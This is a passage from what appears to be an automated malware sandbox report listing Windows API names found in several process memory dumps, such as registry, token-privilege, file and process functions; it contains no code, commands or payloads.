"00000000-00001640.00000001.69198.987B1000.00000020.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "EqualSid"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileIntA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "IsDBCSLeadByte"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetShortPathNameA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "WritePrivateProfileStringA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "CompareStringA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "DosDateTimeToFileTime"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "FindResourceA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "FreeResource"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "SetFileTime"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetVolumeInformationA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "TerminateThread"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetVersion"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "CharPrevA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "ExitWindowsEx"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "CharNextA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "CharUpperA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "MessageBeep"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "LoadStringA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "CallWindowProcA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "EnableWindow"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "SetWindowTextA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "SetWindowLongPtrA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "SendMessageA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetWindowLongPtrA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "OutputDebugStringA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "EnumResourceLanguagesA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceA"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: 